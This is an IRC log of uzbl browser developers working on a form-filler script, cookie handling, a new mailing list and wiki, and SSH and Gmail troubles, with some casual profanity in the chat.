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20:49 < Dieterbe> sscj: hmm i get a lot of : ** (uzbl:1711): CRITICAL **: void webkit_web_view_execute_script(WebKitWebView*, const gchar*): assertion `script' failed
20:49 < Dieterbe> sscj: creating new files seems to work, but loading the values in the form gives the above
20:49 < sscj> you have to change "spawn" to "js"
20:50 < sscj> I wasn't using the experimental build when I wrote it
20:50 < Dieterbe> bind z = spawn ./examples/scripts/formfiller.sh
20:50 < sscj> s/script/js
20:50 < Dieterbe> oh k
20:50 < Dieterbe> jep
20:51 < Dieterbe> woohoo it works :D
20:52 < DuClare> I should adapt the cookie hdler & run_command for argv :x
20:53 < DuClare> Perhaps I'll give it a shot within a couple hours.
20:54 < DuClare> Dieterbe, Btw, I've got a bunch of little fixes you might want to merge at some point.
20:58 < Dieterbe> cool
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21:05 < github> uzbl: Sylvester Johansson experimental SHA1-c372568
21:05 < github> added form filler script
21:05 < github> http://bit.ly/GOo6x
21:05 < github> uzbl: Dieter Plaetinck experimental SHA1-f035e65
21:05 < github> Merge commit 'scj/master' into experimental
21:05 < github> http://bit.ly/Ksrds
21:05 < github> uzbl: Dieter Plaetinck experimental SHA1-fbd666e
21:05 < github> updates/doc/fixes for formfiller script from Sylvester Johansson
21:05 < github> http://bit.ly/M4lY0
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21:13 < sscj> prolly should add a 'chmod 600 $keydir/$domain'
21:13 < Dieterbe> good point
21:14 < Dieterbe> in fact, we should use gnupg or something in the script
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21:27 < github> uzbl: Dieter Plaetinck experimental SHA1-ce0e31a
21:27 < github> cleanup of (old/outdated) docs
21:27 < github> http://bit.ly/gDh7e
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21:33 < Dieterbe> sscj: do you feel like expanding more on the script?
21:43 < sscj> sure
21:43 < sscj> needs to add type information anyway
21:44 < sscj> so it can tick checkboxes and so on
21:45 < Dieterbe> cool
21:45 < sscj> I'll probably write it in perl, though
21:45 < Dieterbe> maybe also allow to call the script with an argument to force the editing
21:46 < Dieterbe> (eg after having made a typo in the config)
21:50 < Dieterbe> sscj: do you have to write it in perl? would be cool if we can keep it in bash
21:51 < rob|> why? isn't the point of whole scripting idea to be language agnostic?
21:52 < rob|> *of the
21:53 < Dieterbe> the whole point of the scripts is to allow user maximum flexbility to do things the way he wants.
21:53 < rob|> exactly
21:53 < DuClare> So sscj wants to do things the perl way
21:53 < Dieterbe> that's not really related to language criteria.. *but*
21:53 < DuClare> And he gets to do that
21:54 < Dieterbe> i just think it's useful if people can try out the examples without having to install extra command interpreters
21:54 < rob|> perl is one of the coolest languages ever, so sscj go for it :)
21:54 < rob|> Dieterbe: oh c'mon everyone has perl
21:55 < DuClare> Dieterbe, Agreed, but then you're not required to make it an example, are you?  A wiki or such for scripts sounds nice...  Perl is everywhere anyway
21:55 < DuClare> Dieterbe, If people really find it neccessary to have one not written in perl, then they'll contribute
21:55 < Dieterbe> hmmm now you guys mention it, perl is in the base group in arch
21:56 < DuClare> IMO this is how things work and get done: if somebody is willing to work, let him do it in whatever way works best for him.  If the others need it in a different language, they will port it :)
21:57 < Dieterbe> hey i didn't say i "forbid" sscj of doing it in perl, i would just keep it in bash if it wouldn't be too much hassle
21:57 < DuClare> Sure..
21:57 < sscj> so how does the socket thing work? is there a way to ask it for the document contents, so I don't have to redownload it?
21:58 < DuClare> TODO, we still can't request contents or send the source to an external process.. AFAIK?
21:59 < rob|> right, we can't yet
22:00 < sscj> it would be kind of neat to be able to rewrite the content externally
22:01 < sscj> perhaps an input handler?
22:03 < sscj> so you can preapply sed to the contents before anything gets sent to the webkit renderer
22:03 < rob|> sounds like a good idea, though i'm not sure wether webkit allows such kind of things
22:04 < Dieterbe> what would be the use case?
22:04 < DuClare> Dieterbe, A proxy, without the protocol
22:05 < DuClare> Why have a HTTP proxy if you only want to transform the content..
22:06 < DuClare> That's not even the purpose of a proxy
22:07 < Dieterbe> rob|: how did you say again you had multiple instances with uzbl? you use dwm tabbing right?
22:10 < DuClare> Wm tabs. ♥ http://hikari.serveftp.org/shots/0004.png
22:10 < DuClare> Hmm.
22:10 < DuClare> Now I must fix the colors <,<
22:11 < Dieterbe> unfortunately wmii does not do tabbed layouts :/ so if i have a uzbl window open and spawn another, the screen gets split in 2 and i see both
22:19 < rob|> wmii has horizontal tabs, doesn't it? at least it used to have them back in the days i used it..
22:21 < rob|> s
22:21 < rob|> s
22:22 < rob|> http://wmii.suckless.org/screenshots/wmii-20080117.png <-- top left pane
22:23 < Dieterbe> oh that? hmm i've had that a few times by accident :P i wouldn't call it tabbing but it could be close enough
22:36 < sscj> so what's broken with the cookies btw?
22:36 < DuClare> sscj, Nobody has finished the code
22:36 < Dieterbe> it just doesn't work yet
22:40 < DuClare> http://hikari.serveftp.org/shots/0005.png
22:40 < DuClare> :]
22:44 < Dieterbe> quite nice
22:46 < rson> DuClare: i notice you started with 00, out of curiosity, does it just extend to 1XX?
22:46 < DuClare> Yup
22:47 < rson> do you guys have a "release" out yet or are you just advising to use the stable branch as it develops?
22:48 < DuClare> Prefix zeroes are useful as files get sorted by name
22:48 < DuClare> I would call merges to the stable branch "releases" ;)
22:48 < rson> yeah that's kinda what ive been figuring
22:49 < Dieterbe> as soon as cookies and multiple instances management work, i want to do a real alpha release :)
22:51 < rson> nice. i'll be keeping my eyes open
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23:01 < sscj> I never thought I'd even consider switching from firefox + vimperator, but uzbl really shows promise
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23:01 < barrucadu> hi
23:01 < Dieterbe> hey barrucadu , can we set up a ML on uzbl.org?
23:02 < barrucadu> I don't know, I've never done it before
23:02 < barrucadu> I'll check the dreamhost wiki
23:02 < Dieterbe> k
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23:05 < sscj> about the cookies
23:05 < barrucadu> Yes, it can be done.
23:05 < sscj> why not let the cookie handler be responsible for generating the cookie header?
23:06 < sscj> you call the script and inject whatever it responds
23:06 < Dieterbe> barrucadu: would it be easy to manage? and have archive? does it use mailman or something else?
23:06 < barrucadu> Dieterbe: http://wiki.dreamhost.com/KB_/_Account_Control_Panel_/_Mail_::_Discussion_Lists
23:06 < barrucadu> it uses mailman
23:08 < Dieterbe> aha, looks quite easy to manage
23:09 < Dieterbe> barrucadu: are you okay with settinup up a ML ?
23:10 < rson> sorry i'm interjecting a bunch of non related questions, but are you guys planning to have a contrib package or soemthing containing user submitted scripts, or just going to keep the examples that are shipped with the package?
23:11 < barrucadu> Dieterbe: yes
23:12 < Dieterbe> rson: well, if the influx of scripts would become bigger, we would figure something out.  probably a public repo or something. 
23:13 < Dieterbe> barrucadu: okay then lets do it ! :) any ideas for the name (address?) DuClare ? rob| ?
23:19 < Dieterbe> i propose : uzbl-dev@uzbl.org
23:20 < barrucadu> If there are no objections, I'll make it now
23:22 < Dieterbe> let's do it :)
23:23  * barrucadu creates
23:24 < barrucadu> Now we just need to wait for lists.uzbl.org to propagate through DNS
23:24 < _19LIONZ> Dieterbe: why not dev@uzbl.org ?
23:24 < Dieterbe> how long should that take?
23:24 < Dieterbe> _19LIONZ: that... is a good question
23:25 < barrucadu> Well, the absolute maximum is 48 hours. The most I've seen is 2 hours
23:25 < Dieterbe> i think projectname-dev is how most projects do it, even if the project name is already in the domain
23:25 < Dieterbe> eg arch does it also like that
23:25 < barrucadu> And, to me at least, "dev@uzbl.org" sounds like an email address to contact the developers, not other people
23:27 < _19LIONZ> Dieterbe , barrucadu : I understand your point
23:34 < DuClare> Oops, looks like I'm not going to finish the argv stuff tonight.  Maybe tomorrow
23:35 < DuClare> Till then, bye o/ →
23:35 < barrucadu> bye
23:37 < Dieterbe> see you DuClare 
23:37 < Dieterbe> sscj: I think your sed statement should be --> sed -nre 's|.*<input.*?name="([[:graph:]]+)"|\1: |p'
23:37 < Dieterbe> sscj: i needed to change it because otherwise it doesn't recognize all fields on http://wiki.archlinux.org/index.php?title=Special:UserLogin&returnto=Main_Page
23:39 < sscj> yeah, I've noticed that the pattern isn't working all the time
23:40 < Dieterbe> i'm going to sleep now.  see you guys later
23:40 < sscj> bai
23:40 < barrucadu> bye
23:41 < Dieterbe> barrucadu: are you either online tomorrow morning or do we not need you anymore for the ML stuff? eg if you're away, can people just start subscribing and using the ML ?
23:42 < barrucadu> Dieterbe: I'll be online tomorrow morning, and I'll configure/test the ML tonight so it should just work tomorrow
23:42 < Dieterbe> barrucadu: great :) see you tomorrow then
23:42 < Dieterbe> thanks
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23:46 < barrucadu> Well, we should now have a ML at uzbl-dev@lists.uzbl.org :D I've set up uzbl-dev@uzbl.org to forward to uzbl-dev@lists.uzbl.org, so that'll take effect at some point (it said between 1 and 2 hours)
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00:02 < barrucadu> It works ^^
00:02 < barrucadu> Well, my test message appears in the archive. I haven't received it
00:02 < barrucadu> Could just be gmail being slow...
00:03 < barrucadu> Unless mailman doesn't send you a copy of your own email. I don't really know how this thing works...
00:11 < rson> i believe it's an option with mailman
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09:33 < barrucadu> hi
09:53 < Dieterbe> morning
09:56 < Dieterbe> barrucadu: is it completely transparent the @uzbl.org -> @lists.uzbl.org thing? otherwise i'm fine with just using @lists.uzbl.org
09:57 < barrucadu> Dieterbe: I've sent three test emails to uzbl-dev@uzbl.org, and it works perfectly
09:57 < barrucadu> Either can be used
09:58 < Dieterbe> barrucadu: can we entirely get rid of uzbl-dev@lists.uzbl.org?
09:59 < barrucadu> Dieterbe: I don't think so
10:00 < Dieterbe> barrucadu: then lets scratch uzbl-dev@uzbl.org
10:00 < Dieterbe> to keep things simple, imho we should just have one address
10:00 < barrucadu> ok
10:01 < barrucadu> I'll delete uzbl-dev@uzbl.org then
10:01 < Dieterbe> yea
10:02 < barrucadu> uzbl-dev@lists.uzbl.org it is then
10:02 < Dieterbe> yep
10:02 < Dieterbe> i'll write an annoucement and contact page on the site
10:02 < barrucadu> ok
10:09 < Dieterbe> all looks good to me
10:09 < Dieterbe> barrucadu: you got 2 mails from me, right? one to owner and a regular one
10:10  * barrucadu checks his emails
10:10 < barrucadu> yes
10:12 < Dieterbe> btw barrucadu how do you do it, to make changes on the site and have them committed in your git? since there's no .git folder in uzbl.org folder
10:12 < barrucadu> Dieterbe: There is a .git folder in my copy on my laptop, so I make changes there, commit, and then upload to uzbl.org
10:14 < Dieterbe> what script do you use to upload? because there is some content in the real site folder that is not under version control
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10:15 < Dieterbe> or do you just upload the files that you changed?
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10:17 < barrucadu1> I can't *wait* to go to my dads house today, where I'll have a reliable internet connection :p
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10:17 < Dieterbe> :P
10:17 < Dieterbe> barrucadu: what script do you use to upload? because there is some content in the real site folder that is not under version control
10:18 < Dieterbe> barrucadu: or do you just upload the files that you changed?
10:19 < barrucadu> Dieterbe: I just upload what I've changed
10:21 < Dieterbe> barrucadu: meh, i've put my ssh key in .ssh/authorized_keys, but it never accepts me :(
10:21 < barrucadu> :(
10:21 < Dieterbe> pubkey that is of course
10:22 < Dieterbe> debug1: Offering public key: /home/dieter/.ssh/id_rsa_personal
10:22 < Dieterbe> debug3: send_pubkey_test
10:22 < Dieterbe> debug2: we sent a publickey packet, wait for reply
10:22 < Dieterbe> debug1: Authentications that can continue: publickey,password
10:23 < Dieterbe> client side i see it does not accept my pubkey, but serverside i have no priveleges to see what's going on
10:24 < barrucadu> Could it be because you have your public key entered twice, for dieter@dieter-ws-a7n8x-arch and dieter@dieter-mbp
10:25 < Dieterbe> no, i just did that now
10:25 < Dieterbe> didn't work before either
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10:40 < Dieterbe> meh
10:44 < Dieterbe> barrucadu: can we see somehow what's going wrong serverside?
10:44 < Dieterbe> the user uzbl doesn't seem to have any priveleges to view in /var/log, and no sudo either
10:45 < barrucadu> Dieterbe: It's a shared server, so probably not
10:47 < Dieterbe> barrucadu: ChallengeResponseAuthentication no <-- shouldn't this be yes?
10:48 < barrucadu> I don't know, autologin works for me
10:49 < Dieterbe> well, i hate having to type the password everytime i login
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10:56 < DuClare> Morning. o/
10:57 < Dieterbe> heya D
10:57 < barrucadu> hi
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11:36 < github> uzbl: Dieter Plaetinck experimental SHA1-4e0e530
11:36 < github> community documentation
11:36 < github> http://bit.ly/XMjvY
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11:38 < Dieterbe> barrucadu: wanna merge my uzbl-website and push changes to the website?
11:39 < barrucadu> Dieterbe: I'm just fixing a CSS bug on the site, then I'll do it
11:39 < Dieterbe> ok
11:40 < rob|_> morning.
11:40 < barrucadu> hi
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11:42 < Dieterbe> hello rob
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11:44 < barrucadu> Dieterbe: You've put "Comunnity" on every page instead of "Community" :p
11:44 < Dieterbe> oops
11:44 < Dieterbe> well, since you're fixing typo's anyway.. :P
11:44 < DuClare> Hi rob| ♥
11:47 < barrucadu> Dieterbe: All done :)
11:48 < Dieterbe> barrucadu: great. btw at some point we could clean up the site code a bit. it's quite messy. maybe we can use judd vinets "micro framework". it looks quite nice: http://www.zeroflux.org/projects/phatso
11:50 < Dieterbe> barrucadu: btw on community.php the link to contribute says "conntribute"
11:50 < barrucadu> Dieterbe: I was also thinking of editing the news to use markdown
11:51 < barrucadu> argh, I can't spell either :p
11:51 < barrucadu> Wait, I didn't youch community.php. You can't spell.
11:51 < barrucadu> :p
11:51 < barrucadu> *touch
11:51 < barrucadu> Oh the irony...
11:51 < Dieterbe> :P
11:52 < Dieterbe> markdown is nice if you want to have the same content in html and "plaintext".  the news items are only needed in html form so i don't see the need to use markdown for them.
11:52 < barrucadu> ok
11:53 < barrucadu> I'll play around with phatso later
11:54 < barrucadu> Any particular reason the URLs in "Code repositories" aren't links?
11:56 < Dieterbe> no, my mistake
11:56 < barrucadu> ok
11:57 < Dieterbe> the cool thing about phatso is it uses htaccess to rewrite everything to index.php and then it parses the url string and dispatches itself, so you have total control over your urls
11:59 < Dieterbe> sscj: any progress with the regex? if not, i'll tune it a bit
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12:06 < github> uzbl: Dieter Plaetinck experimental SHA1-dfc9cf6
12:06 < github> note about experimental dev
12:06 < github> http://bit.ly/WNTd2
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12:22 < rob|> hmm, i'm always inclined to delete all those spaces in the source ( "func (foo)", "if(! a..)", etc.)
12:23 < rob|> could we possible agree on a style and provide a indent template/option set to easily produce the required intendation?
12:24 < Dieterbe> our style is like this afaik: foo (arg1, arg2, arg3);
12:28 < M2tias> o_o
12:30 < rob|> hmm, well. would someone like to take care of providing indent options for our style?
12:31 < rob|> http://www.gnu.org/software/indent/
13:00 < DuClare> rob|, Have you renamed variables yet?
13:09 < rob|> no, i couldn't come up with anything significantly shorter :(
13:13 < rob|> the idea was to categorize the names like, status.message, net.proxy, etc. - though i'm not sure wether it's worth it
13:13 < DuClare> I want to abbreviate each 'default' to 'def'
13:15 < Dieterbe> imho default > def
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13:18 < grossroot> hi
13:18 < Dieterbe> hi
13:19 < rob|> why do we use array of struct and not just array of char* for the default settings?
13:20 < Dieterbe> no specific reason, i first though i needed more then one var, but in the end went with just the char*'s, so i could have done it with a simple array
13:20 < grossroot> does uzbl work on freebsd? i'm trying to compile it but it fails :-(
13:21 < Dieterbe> but i have my doubs about how/if we should do the defaults stuff.  as soon as some people are on the ML i want to start a decent discussion
13:21 < Dieterbe> doubts*
13:21 < Dieterbe> grossroot: see INSTALL file, you need some recent versions of stuff
13:21 < DuClare> rob|, I want to use macros to shorten these annoying >140 character lines in var->ptr table.  Do you mind?
13:21 < grossroot> ok
13:22 < rob|> DuClare: sure, what do you have in mind?
13:23 < rob|> sure, i don't mind - that is :p
13:24 < rob|> btw, fixed a potential leak in parse_cmd_line()
13:26 < rob|> oh and parse_command should probably be renamed to parse_action, just to avoid confusion
13:35 < Dieterbe> weren't we gonna call everything commands?
13:35 < DuClare> What significance does the word "default" have in "default_font_size"?  Could it simply be "font_size"?
13:35 < Dieterbe> i like the name 'command' more then 'action'
13:39 < DuClare> Well, I'm going to rename the font vars.
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13:55 < rob|> pushed a fix that prevents escaping symbols in non-statusbar templates
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14:02 < barrucadu1> Dieterbe: uzbl.org is now using phatso :)
14:02 < Dieterbe> :o
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14:02 < github> uzbl: Dieter Plaetinck experimental SHA1-06ab906
14:02 < github> somewhat better inputfield matching regex + allow control over the action (load, new, edit)
14:02 < github> http://bit.ly/nfmDY
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14:05 < rob|> barrucadu/Dieter: does you hoster allow to set up a wiki?
14:06 < DuClare> rob|, http://github.com/DuClare/uzbl/commit/df1d2a49c7db5d6085bc30fb7b698efe4303fa6e
14:08 < rob|> DuClare: nice, definitly better looking
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14:08 < github> uzbl: Dieter Plaetinck experimental SHA1-7a2a0ee
14:08 < github> keybinds corresponding to the new load/edit/new actions for the formfiller
14:08 < github> http://bit.ly/JlqH6
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14:08 < DuClare> Could've perhaps used a macro for setting all of .ptr, .type and .func in one "call", making it shorter still..
14:09 < Dieterbe> rob|: barrucadu takes care of the hosting (afaik it's dreamhost), so many things (including wiki) should be possible
14:09 < Dieterbe> rob|: it even has shell access, i looked around a bit and it seems like you can run php, perl, python and it even has rrdtool :P
14:09 < rob|> Dieterbe: i see, i guess we should set up one. it's a nice place to collect ideas, user scripts and nifty screenshots
14:10 < Dieterbe> for scripts/configs yeah.. is a wiki also good for screenshots?
14:10 < Dieterbe> DuClare: does font_size affect _all_ fonts?
14:10 < rob|> Dieterbe: sure, why not. users can upload their super sexy shots and share with the world ;)
14:11 < DuClare> Dieterbe, It should, yes
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14:12 < rob|> Dieterbe: i'm also (mis)using a wiki for screenshots, http://dzen.geekmode.org/dwiki/doku.php?id=dzen:screenshots
14:27 < DuClare> I *had* to perfect it.  http://github.com/DuClare/uzbl/commit/c3bdf1cbd4ef4c7ab632360fb1095081a50904a5
14:29 < rob|> :)
14:30 < Dieterbe> rob|: i notice some of your screens show an -ARCH kernel or an irc client in #archlinux, so these must be very recent shots then?
14:32 < rob|> Dieterbe: talking about the shots on the wiki?
14:32 < Dieterbe> rob|: yea
14:32 < rob|> Dieterbe: no, they're not that recent. i just used to hang around with the arch community ;)
14:33 < rob|> also not all of them are mine, most are user contributed
14:33 < Dieterbe> aha
14:33 < Dieterbe> anyway yeah we should have a wiki. i'm reading a bit about dokuwiki now
14:34 < Dieterbe> do you like it?
14:34 < Dieterbe> All data is stored in plain text files – no database is required.  "<--- SWEET
14:34 < rob|> yes, dokuwiki is quite nice and easy to set up + administer
14:34 < DuClare> Store my screenshots in plain text files?
14:34 < Dieterbe> lol
14:35 < Dieterbe> DuClare: may they base64encode them ;)
14:35 < DuClare> Perhaps it converts them to ascii art or base64encs :)
14:37 < rob|> almost that funny like the statement on a python project site "... written in python with some bits of C for security ..."
14:38 < Dieterbe> rob|: will a wiki still be ideal, when we're getting hundreds of screenies? is there a way to organize them or is it up to the users to add them to some page and create a new page when it gets too long?
14:38 < rob|> Dieterbe: the latter, formating is up to the user
14:38 < rob|> the xmonad guys use a table for the images
14:39 < rob|> http://haskell.org/haskellwiki/Xmonad/Screenshots
14:40 < Dieterbe> hmm well i like this
14:41 < Dieterbe> rob|: can we get a similar layout with dokuwiki? can we set a "global" thumbnail size?
14:42 < Dieterbe> rob|: even better i would like to set max_width and max_height for thumbnails, so that users ratio's are kept intact and still are displayed reasonable as thumbs
14:45 < Dieterbe> rob|: do you use this? http://www.dokuwiki.org/plugin:gallery
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14:47 < barrucadu> Hi
14:47 < DuClare> o/
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14:50 < Dieterbe> barrucadu: rob| suggested we install a wiki (eg dokuwiki) on uzbl.org so that users can share configs/scripts and screenshots
14:51 < barrucadu> I think it's a good idea, I was going to suggest we have somewhere to share configs
14:53 < Dieterbe> barrucadu: lol. the website is phatso is like 100x nicer :P (code wise)
14:53 < Dieterbe> in phatso*
14:53 < barrucadu> I haven't really looked into wiki software other than mediawiki, which is a bit overkill. Any preferences?
14:53 < barrucadu> I know :p
14:54 < Dieterbe> rob| uses dokuwiki for his dzen2 stuff and likes it (http://dzen.geekmode.org/dwiki/doku.php?id=dzen:screenshots ) i also thinks dokuwiki looks good. it doesn't use a DB but stores all text in plaintext files :)
14:55  * barrucadu looks at the dokuwiki website
14:59 < barrucadu> It sounds good
14:59 < barrucadu> Shall I install it?
15:00 < Dieterbe> yes please :)
15:06 < rob|> Dieterbe: no, i don't use the gallery thing, though it doesn't look bad
15:06 < Dieterbe> rob|: not sure if we need it.. if we can get a similar layout like your xmonad example and i can control max_width and max_height for thumbnails, i'm happy i think
15:07 < rob|> well, you can embed the geometry of the images in the wiki tag, dokuwiki can handle tables, too
15:08 < Dieterbe> why i would i want to embed geometry in tags? or am i missing what a tag is?
15:09 < Dieterbe> i just think admins should be able to say : "make all thumbnails have maximum width foo and max height bar, and keep the ratio intact"
15:11 < rob|> no sure wether you can do that with dokuwiki, but you can say {{image.png?440}} (note the 440)
15:11 < barrucadu> We have a wiki at uzbl.org/wiki. I'll just add a link to the site
15:11 < Dieterbe> rob|: yeah but that way the user can control it.  i want to able to restrict it a bit as an *admin*
15:11 < Dieterbe> barrucadu: feel free to also make a news announcement :)
15:13 < Dieterbe> rob|: any recommendations re: page access rights? probably only allow logged in users to prevent spambots?
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15:15 < rob|> right, only users with an account should be allowed to edit
15:15  * rob| registered an account :)
15:15  * barrucadu noticed
15:17 < Dieterbe> This page is read only. You can view the source, but not change it. Ask your administrator if you think this is wrong.  :( i'm logged in
15:17 < Dieterbe> or do you need to be admin to change the front page?
15:17 < barrucadu> Dieterbe: I've just been playing with the permissions
15:17 < barrucadu> I think users should be able to edit now, but not guests
15:18 < barrucadu> I've set @ALL to 'read' in the * namespace, and @user to 'upload'
15:19 < rob|> i can edit the front page
15:19 < barrucadu> When logged out I can't edit pages
15:19 < barrucadu> So it seems I've set it up right :)
15:20 < Dieterbe> ok well i think only admins should be able to edit the _front_ page
15:21 < barrucadu> I've made the front page read only
15:22 < Dieterbe> ugh i saw, i was just editing it :P
15:22 < barrucadu> I know :p
15:22 < barrucadu> You're now an admin
15:24 < Dieterbe> now how do we make pages from the "points" on http://www.uzbl.org/wiki/doku.php?id=start
15:25 < rob|> just open a link with the new page name
15:27 < Dieterbe> k works fine
15:27 < rob|> btw, you can also assign namespaces like "shots:mainindex", etc
15:27 < rob|> where shots is the namespace
15:28 < Dieterbe> hmm.. would this be useful?
15:28 < rob|> well, depends on how you want to structure the contents
15:29 < rob|> iirc you can assign user permissions per namespace
15:29 < Dieterbe> yeah okay but i think "user: readwrite everywhere except home page, admin: all, anonymous: only read" fits all
15:29 < rob|> i'd also make the headings link to the actual subsection contents and provide a short description of the header beneath it
15:32 < Dieterbe> rob|: you are now admin. do your thing :P
15:32 < rob|> hehe, ok
15:34 < barrucadu> *breaks the wiki*
15:34 < barrucadu> <.>
15:34 < barrucadu> brb
15:35 < barrucadu> I enabled pretty URLs without setting up mod_rewrite...
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15:41 < rob|> hmm, adding images does not seem to work (at least not with uzbl)
15:41 < rob|> bummer! doesn't work on my wiki either :(
15:44 < barrucadu> Well, we have pretty rewritten URLs now :)
15:49 < rob|> hmm, works with ff. i wonder what might cause that..
15:50  * barrucadu looks at robs screenshot
15:50 < barrucadu> I fixed the bug that makes the commits in the master branch be in big text earlier :)
15:55 < barrucadu> Hmm, I realise I haven't actually mentioned Uzbl in my blog.
15:55 < barrucadu> Not that anyone reads my blod <.>
15:55 < barrucadu> *blog
16:00 < Dieterbe>  barrucadu> I fixed the bug that makes the commits in the master branch be in big text earlier :) <-- DuClare
16:05 < Dieterbe> barrucadu: did you know html links are not shown in the rss feed?
16:08 < barrucadu> Dieterbe: No. I'll investigate in a bit
16:15 < rob|> http://www.uzbl.org/wiki/per-instance-history  :)
16:21 < barrucadu> Dieterbe: Yes they are: http://www.uzbl.org/atom.xml
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16:31 < rob|> so guys, populate the wiki :p
16:32 < DuClare> Dieterbe, Yeah.  I was wondering why firefox rendered it "correctly"?  Was ffox actually rendering it incorrectly ;O
16:33 < Dieterbe> DuClare: ff maybe had a cached page
16:33 < Dieterbe> rob|: your article title is misleading. it seems like it keeps separate history files per instance, but only the menu is per instance
16:35 < rob|> true, feel free to find a better description
16:36 < DuClare> Dieterbe, Cookie handler may be set to an arbitrary action now.  Pushed to experimental.
16:36 < Dieterbe> rob|: just explain it in a note :)
16:40 < Dieterbe> DuClare: well.. i'm curious
16:41 < Dieterbe> barrucadu: hmmzzz must be my client then :=
16:41 < DuClare> Curious.. about what?
16:42 < Dieterbe> well, since the cookie is something so specific (do get/put requests and expect a certain feedback) i wonder how it is implemented now
16:42 < DuClare> Same way as before
16:43 < DuClare> Just it uses run_handler in place of run_command.. therefore you can use sh, spawn or even js (which obviously can't actually output a cookie, but works still and is consistent with the other hdlers)
16:45 < rob|> Dieterbe: better now?
16:48 < Dieterbe> yep. is good :)
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18:04 < Dieterbe> DuClare: looks good
18:05 < Dieterbe> hmm. but it's broken :P
18:05 < DuClare> Is?
18:05 < DuClare> How?
18:06 < Dieterbe> DuClare: not sure yet. the arguments inside the cookie handler have changed. i'll need to fix that i guess
18:08 < DuClare> Hmm.
18:11 < Dieterbe> DuClare: the GET/PUT argument is not passed on
18:11 < Dieterbe> the last argument is the page title
18:11 < DuClare> Yeah
18:27 < DuClare> Aha, figured it
18:30 < DuClare> Dieterbe, Pushed a fix
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18:53  * barrucadu sticks http://linuxfr.org/~Enixos/28263.html into google translate
18:53 < barrucadu> "Everything becomes diabolically effective"
18:53 < barrucadu> I like that :)
18:54 < Dieterbe> o_O
18:55 < barrucadu> Not two words I would put together :p
18:56 < barrucadu> Unfortunately google translate seems to hang if I trandlate the whole page, so I'm either going to have to copy/paste the comments a few at a time, or just not bother
18:56 < barrucadu> *translate
18:56 < Dieterbe> DuClare: can you also reg on the ML if you haven't done so yet? as soon as you're onboard i'm gonna start a discussion about the default settings stuff
18:56 < DuClare> Sure
18:57 < Dieterbe> barrucadu: well, i understand french (mostly), so i understand most things said there. basically they like it a lot :)
18:57  * DuClare should patch fdm
18:57 < barrucadu> :)
18:57 < barrucadu> I can say hello in French. After having been taught it for years, that's more or less all I remember :p
18:58 < Dieterbe> -DG_ERRORCHECK_MUTEXES holy moly
18:59 < barrucadu> ?
18:59 < Dieterbe> gcc has weird names for all their stuff
18:59 < barrucadu> :p
18:59 < Dieterbe> DuClare added that option to gcc in the Make
18:59 < Dieterbe> i guess it's ok :P
18:59 < DuClare> It was actually rob|
18:59 < DuClare> And it's a glib thing
19:00 < DuClare> -D = #define
19:00 < Dieterbe> hzz
19:00 < Dieterbe> hmzz*
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19:20 < Dieterbe> woohoo. wmii indeed has some sort of tabbing-ish layout :)
19:46 < DuClare> GRRRRR
19:47 < Dieterbe> what? DuClare ?
19:48 < DuClare> Can't fetch my damn mail anymore .. :x
19:49 < DuClare> gmail-srv: invalid response: )
19:49 < DuClare> gmail-srv: fetching error. aborted
19:49 < DuClare> Looks like I'm not the only one who's getting into trouble with gaymail
19:53 < DuClare> Meh.  Gonna have to use the crappy webui.
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20:06 < Dieterbe> DuClare: are you still not on the ML ?
20:08 < DuClare> Am now
20:09 < Dieterbe> k
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20:49 < Dieterbe> hello jouz !
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21:08 < pmyshkin> is "texifying" webpages one of the goals of uzbl?
21:09 < barrucadu> Turning pages into (La)TeX? No
21:10 < pmyshkin> sorry, textifying
21:10 < Dieterbe> what _is_ a goal, is the ability to pass on the contents of pages to other processes. those other processes could be converter scripts or whatever
21:10 < pmyshkin> yes, that's what I mean
21:10 < barrucadu> That makes much more sense :p
21:11 < pmyshkin> but is uzbl going to do anything like w3m where the data passed will be plaintext rather than markup?
21:13 < Phillemann> pmyshkin: Well, are already w3m, links and lynx which do that. o_O
21:13 < Phillemann> +there
21:14 < Dieterbe> no. uzbl is not a "html stripper". if you want a program that strips html tags, you should get a program that strips html tags
21:14 < pmyshkin> they don't support a lot of stuff like javascript
21:15 < pmyshkin> so the project is purely focused on user interface?
21:15 < Dieterbe> no, not really.
21:22 < DuClare> pmyshkin, How do you "strip" html without breaking js?
21:23 < DuClare> Possible in theory, unlikely in practice
21:23 < pmyshkin> DuClare: you could potentially render the js first, then strip the html?
21:24 < Dieterbe> render the js?
21:25 < Dieterbe> first of all what you just said doesn't make sense
21:25 < Dieterbe> second: what is your end goal, what do you really need to do?
21:25 < pmyshkin> okay i guess i don't know what i'm talking about
21:27 < pmyshkin> my end goal is to separate the presentation aspects of webpages from the content
21:27 < Dieterbe> that's not a goal at all.
21:27 < Dieterbe> that's a means. a very vague means to boot
21:28 < pmyshkin> i was trying to phrase it as you phrased the question
21:31 < DuClare> GMail be cursed!
21:31 < pmyshkin> i guess what I would really like would be if all content based websites were just packaged as xml
21:32 < barrucadu> pmyshkin: That's what valid XHTML is.
21:32 < barrucadu> pmyshkin: Not that most sites are valid code, though...
21:33 < barrucadu> Which reminds me, I havenrt run uzbl.org through the W3C validator and fixed any bugs :O
21:33 < barrucadu> *haven't
21:33 < pmyshkin> xhtml doesn't require that you describe the content, or organize it in a logical fashion, does it?
21:34 < barrucadu> No, but it is XML
21:34 < DuClare> Doesn't, but it's xml.
21:34  * DuClare is slow
21:38 < Dieterbe> ahh.... the mailing list already pays off
21:38 < Dieterbe> great
21:39 < Dieterbe> no way you could phrase what you want to say so clearly through IRC :)
21:39 < barrucadu> :)
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21:40 < DuClare> I'm going to say this once again:
21:40 < DuClare> FUCK GMAIL
21:40 < Phillemann> Why?
21:40 < DuClare> It decided to reply to Dieterbe rather than to the list
21:41 < Dieterbe> :D
21:41  * DuClare wants to go back to mutt and vim
21:42 < Dieterbe> so... do ?
21:42 < pmyshkin> why don't you just use gmail's imap or pop services then?
21:43 < Phillemann> mutt, unfortunately, is 99% configuration and backend and 1% email writing. ;)
21:44 < barrucadu> The Uzbl website is now 100% XHTML 1.0 Strict valid :)
21:44 < barrucadu> Well, excluding flyspray and dokuwiki, which I didn't bother checking
21:44 < DuClare> Phillemann, I used the imap backend.  It broke.
21:45 < DuClare> And right there is another f* gmail: the imap implementation is not rfc compliant
21:45 < barrucadu> And valid CSS ^^
21:45  * barrucadu uses Gmail with POP
21:45 < DuClare> I whined at them, and IIRC they promised to "take care of it" or something .. liars
21:46 < DuClare> I tried POP too but it was kinda broken as well
21:47 < barrucadu> IIRC I created a PHP script to grab my emails via IMAP so I could check them anywhere without having to load up gmail, and it worked. I didn't implement sending though.
